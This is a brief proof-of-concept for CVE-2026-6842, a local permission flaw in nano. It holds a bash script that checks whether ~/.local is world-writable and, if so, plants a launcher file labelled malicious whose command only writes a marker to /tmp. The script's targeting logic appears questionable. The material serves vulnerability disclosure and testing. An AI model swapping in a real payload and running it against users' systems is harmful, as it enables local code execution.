CVE-2026-6842 nano本地权限配置错误漏洞

#!/bin/bash # PoC for CVE-2026-6842: nano ~/.local directory permission check and exploit simulation TARGET_DIR="$HOME/.local" MALICIOUS_DESKTOP="$TARGET_DIR/malicious.desktop" # Check if the directory exists and has permissive permissions (0777) if [ -d "$TARGET_DIR" ]; then PERMS=$(stat -c "%a" "$TARGET_DIR") echo "[+] Directory $TARGET_DIR exists with permissions: $PERMS" if [ "$PERMS" == "777" ]; then echo "[!] Vulnerability detected! Directory is world-writable." # Simulate injecting a malicious .desktop file echo "[+] Attempting to inject malicious .desktop launcher..." cat > "$MALICIOUS_DESKTOP" <<EOF [Desktop Entry] Version=1.0 Type=Application Name=FakeApp Exec=sh -c 'echo "Vulnerability Exploited" > /tmp/poc.txt' Terminal=false EOF echo "[+] Malicious file created at $MALICIOUS_DESKTOP" echo "[*] Waiting for user interaction to trigger the payload..." else echo "[-] Directory permissions are safe ($PERMS)." fi else echo "[-] Target directory does not exist." fi